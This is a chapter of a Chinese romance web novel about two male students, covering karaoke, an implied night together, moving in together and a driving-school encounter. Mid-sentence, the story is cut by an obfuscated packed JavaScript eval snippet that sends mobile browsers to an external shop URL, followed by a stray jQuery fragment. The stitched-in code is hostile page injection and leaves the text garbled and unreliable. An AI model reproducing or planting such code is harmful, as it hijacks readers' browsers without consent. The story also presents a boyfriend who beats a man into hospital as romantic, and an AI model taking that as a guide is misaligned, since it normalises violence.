“听说你钱包里夹着初恋的照片,还跟我长得很像,我能不能看看?”
申星亦愣了下,随即笑道:“原来他跟你说这个。”
看他这么坦然,纪瑾心里大概有了数:“是啊,我倒要看看,是照片上的人好看,还是我好看。”
申星亦笑着把钱包递给他:“那肯定是你好看,照片哪能跟真人比。”
纪瑾翻开钱包,里面的照片是一个化着淡妆,一头金发,穿着洋装的“女生”。
“你哪来这张照片的?”
“花高价买的。”
这是纪瑾高一校庆反串公主的装扮。
那时候他还带着稚气,扮成女生被好多人夸,甚至有人开玩笑叫他校花,后来也总有人拿这个调侃他。
当时不少人拍了照,他也不知道是谁拍的这张,也不知道申星亦是不是真的花钱买的。
他把钱包合上递回去:“你不会就是因为这个才喜欢我的吧?”
申星亦接过钱包收好:“当然不是,其实我是在你们高一开学典礼上对你一见钟情。你女装扮相只是让我惊艳而已,那时候也只有这张照片,就放钱包里了。”
纪瑾挑眉:“该不会是怕别人知道,你初恋其实是个男生,才放这张女装照当幌子吧?”
申星亦被戳穿,有点窘迫地笑了笑:“算是吧。我之前跟你说过,我以前没什么勇气。”
纪瑾也没多在意,问了句:“你是不是还藏了我别的照片?”
申星亦眼神飘了飘,说没有,但纪瑾不信。
这时大屏幕上跳出了他点的歌,申星亦让人把两个话筒都拿过来,递了一个给他。
其实纪瑾就是随口一说,对唱歌没什么兴趣,更不想在这么多人面前唱。
但既然都点了,就给申星亦个面子唱一首。
歌是《下完这场雨》,是他一直挺喜欢的一首。
申星亦虽然也拿着话筒,却一句都没唱,就安安静静听他唱完。
一曲结束,纪瑾把话筒还给别人,申星亦也随手把话筒扔在沙发上。
包厢里灯光昏暗,他伸手抓住纪瑾的手,直接按在了自己身下:“宝宝,你唱得太好听了,我都有反应了。”
掌心传来滚烫的触感,纪瑾有点无语:“我看你也不像这么容易发情的人啊。”
申星亦低笑:“那是你不了解我,对你,我随时随地都可以。”
纪瑾勾了勾嘴角:“怎么,难不成还想在这儿做?”
申星亦深吸一口气,直接拉着他站起来:“各位你们慢慢玩,我先带我家宝贝走了。”
佟天佑不满地喊:“干嘛啊,才刚玩一会儿!”
申星亦懒得理,丢下一句“你们随便消费,都算我的”,就拽着纪瑾往外走。
酒店房门刚开一半,申星亦就把纪瑾搂进怀里吻了上去,抬脚踹上门。
两人一路亲,一路互相撕扯着衣服,等退到床边时,已经脱得干干净净。
纪瑾顺势躺倒在床上,一条腿垂在床外,用脚尖顺着申星亦的身体慢慢滑到腰侧。
申星亦呼吸瞬间重了,声音哑得厉害:“宝宝,你再勾我,我真要被你弄死了。”
纪瑾轻笑:“你能力这么强,哪那么容易死。”
申星亦抓住他的脚踝,抬起他的脚,吻了吻他的脚背:“我认了,牡丹花下死,做鬼也风流。”
那一晚,两人几乎折腾了一整夜。纪瑾也算是彻底见识了申星亦的本事,一度后悔自己一时兴起叫了声老公,把人刺激的如此疯狂。
第二天纪瑾是在申星亦怀里醒的。
他刚一动,申星亦就醒了,跟着就愁眉苦脸地嘶了一声:“我手还在吗?”
纪瑾被他逗笑,赶紧把头从他胳膊上挪开:“还在,不过再压几次估计就得废了。”
申星亦一边揉着发麻的手臂,一边笑着说:“没事,我还想天天抱着你睡,就算手被你压废了也值。”
纪瑾愣了一下,心头莫名一颤,慌忙说了句我去上厕所,就爬下了床。
进了卫生间,他关上门,拧开水龙头心不在焉地洗手。
申星亦总是能随随便便就说出这么甜的情话,真真假假他都有点分不清了。
尤其是对方看他的眼神,那么真挚,好像眼里真的只有他一个人。
他只谈过一场恋爱,只是蒋放可没有这样将他放在心上过。
心口暖暖的,竟真的生出了一丝甜蜜的感觉。
本来他只是为了气庄少煜,才答应和申星亦在一起。
可现在自己好像快要坚持不住那无所谓的度了。
两天后,他收到申星亦发来的微信。
是一张照片,下面还跟着一句:【是这个胖子吗?】
照片里确实是前两天推他的那个男生,纪瑾回道:【是他,你找到他了?】
申星亦:【不止找到了,还送了他一份住院大礼。】
看见回复,纪瑾直接一个电话打了过去。
【喂,宝宝怎么突然打电话了?】
【你把那个胖子打进医院了?】
【嗯。】
【干嘛下手这么重啊?】
【他欺负你,还让你受伤了。】
【那……也不用把人打进医院吧……】
他不算什么好人,但也没坏到要把人往死里整的地步。想教训一下是真的,弄进医院就太过了。
【我不允许任何人欺负你。别担心,就是打断了他两只手,再让他摔了几跤,住几天院就好了。】
纪瑾沉默了。
他想起上次篮球场,申星亦也是把撞他的人往死里打,要是没人拦着,后果不堪设想。
申星亦好像并没有表面看上去那么温柔。可奇怪的是,他也没觉得害怕,反而觉得对方更有魅力了。
【你怎么查到是他的?】
【看了监控。】
【你能随便看驾校监控?按理不会给你看吧。】
申星亦在电话那头轻笑:【你老公我本事大得很,你想要天上的星星,我都能给你摘下来。】
纪瑾有点害羞:【谁承认你是我老公了。】
【嗯?】申星亦笑得更坏,【那晚可是你主动叫的,怎么下了床就不认了?】
反正隔着电话,对方看不见他脸红,纪瑾干脆嘴硬:【忘了。】
申星亦也不恼,低低地笑:【没关系,我会让你慢慢想起来。】
【宝宝,晚上来我家好不好?】
纪瑾安静了一会儿,回道:【好。】
【在宿舍等我,我下课来接你。】
挂了电话,纪瑾摸了摸发烫的脸颊,又把手按在心口。
感受到自己的心脏跳得又快又乱。
他想自己大概是真的完了,快要陷进去了。
一开始申星亦还是隔三差五来找他,后来变成每天来接,再后来就天天留他过夜。
他起初只带一条内裤,后来带整套换洗衣物,再往后住得越来越频繁,东西也越带越多。
随便用的牙刷换成了电动款,一对一对的情侣杯、情侣拖鞋、情侣睡衣……
不知不觉,他就和申星亦进入了半同居的状态。
和申星亦交往满一个月时,他直接从宿舍搬了出去,和申星亦同居了。
他从来没有被人这样宠过。申星亦对他几乎是无底线的纵容,不管他耍小脾气还是闹别扭,永远都是哄着他顺着他。
可越是这样甜蜜,他心里就越忐忑。
怕自己陷得太深,怕离不开这份温柔,更怕自己被宠坏。
申星亦真的能和他一辈子吗?他从来不这么认为。
就算申星亦现在喜欢他,可他本质上是个直男。
就像申星亦的那些朋友,因为是真心为他好,所以才不希望他走上歪路。
直男最后的结局是什么?
当然是结婚生子,回归所谓的正常生活。
他从来没和申星亦聊过这个,也从没问过对方以后会不会结婚。
不管答案是会还是不会,都没有意义。
如果申星亦说以后会结婚,那他们还怎么继续?
可就算他现在说不会结婚,纪瑾也不会信,这不过是热恋期的一句承诺。
真到哪天申星亦变心了,说要结婚,他难道还能拿这句话去绑住他吗?
显然不可能。
所以他只能在一次次被温柔冲昏头的时候,一遍遍提醒自己要清醒一点。
为了早点开上那辆法拉利,纪瑾科目一刚过,就立刻去驾校练车了。
也不知道是太巧,还是他和严胤川天生有缘,一到场地就看见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449673|201139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严胤川也在,而且还跟他同一个教练。
自从不追庄少煜之后,他就退了篮球社,除了之前食堂那次偶遇,他和庄少煜就再也没见过。
当然和申星亦住在一起后,他和严胤川也没了交集。
今天见到严胤川,发现他剪了短发,整个人更清爽精神了。
纪瑾笑着说了句:“你好像更帅了啊。”
严胤川只淡淡看了他一眼,没理他。
纪瑾也不在意。
换以前他肯定还要黏上去撩拨几句,现在已经完全没那个心思了。
他们这组一共三个新手,教练让先一起上车学基础。
同行的女生不好意思跟两个男生挤,主动坐了副驾,纪瑾就只能和严胤川一起坐后排。
按理说后排坐两个人不至于挤,可教练车座位凹陷太深,加上严胤川个子高,骨架大,纪瑾一坐进去就跟他挤在了一起。
他往边上挪了挪,还是免不了腿贴着腿。
严胤川看了他一眼,纪瑾冲他笑笑,用口型无声说:“可不是我故意贴你啊。”
严胤川没什么表情,也没挪位置。
既然他都不介意,纪瑾也就无所谓了。
基础讲完,教练让他们轮流开了一圈,看都还行,就安排单人练习。
本着女士优先,纪瑾和严胤川都下了车。
干站在一块儿有点尴尬,纪瑾就走到一旁抽烟。
没过一会儿,严胤川也走了过来,点了根烟。
这里本来就是吸烟区,他也没觉得对方是特意来找自己。
两人沉默着抽了会儿烟,严胤川先开口:“你搬出宿舍了?”
纪瑾有点意外他会问这个,还是点了点头:“嗯,对。你怎么知道的?”
“碰到你室友了,问了句。”
“你特地问的?”
“随口。”
纪瑾笑了声:“你会随口问这些?该不会其实很在意我吧?”
严胤川看着他,面无表情:“怎么不叫哥哥了?有男朋友就不敢了?”
纪瑾愣了愣,随即笑道:“不是你让我别勾三搭四的吗?”
严胤川收回目光,抽着烟突然丢出一句:“庄少煜和顾泽西分手了。”
纪瑾微微一顿。
他们分手了?
“什么时候的事?”
“半个月前。”
居然都过去这么久了,他一点都不知道。
以前他天天盼着两人分手,可现在真听到消息,心里却异常平静,没什么开心,也没什么不开心。
大概是真的对申星亦上心了,所以对顾泽西也就无所谓了。
“那是谁甩的谁啊?”
“不清楚。”
“你会不清楚?你不是该时刻关注顾泽西的消息吗?”
“我没你那么无聊。”
“这哪叫无聊?喜欢一个人不都这样?”纪瑾故意抱怨道:“当初你还为了顾泽西针对我呢,现在连他们怎么分的都不知道?”
严胤川沉默了几秒,忽然说:“对不起。”
纪瑾愣了:“都过去这么久了才道歉,晚了!除非让我打一顿。”
“可以。”
“你认真的?”
“嗯。”
“我力气小,可要拿棍子打。”
“随你。”
“我真的拿棍子敲哦,你可不能躲。”
“不躲。”
“不怕我给你敲出脑震荡?”
严胤川看着他,语气很淡:“那也是我欠你的。”
纪瑾彻底懵了,完全没想到他会这么说,一时有点手足无措,连忙摆手:“算了算了,我善解人意,不跟你计较。”
严胤川微微勾了下嘴角:“你善解人意?”
“我不善解人意吗?”
“没看出来。”
“那是你不了解我。”
严胤川没再接话。
纪瑾又问:“既然顾泽西分手了,你是不是准备去追他了?”
严胤川没回答,只是看着他的眼神忽然变得很深邃,让人读不懂。
纪瑾躲开他的视线,笑着随意道:“那先祝哥哥心想事成,早点和顾泽西在一起。”
可他说完,严胤川却什么都没说,直接把烟踩灭,转身就走了。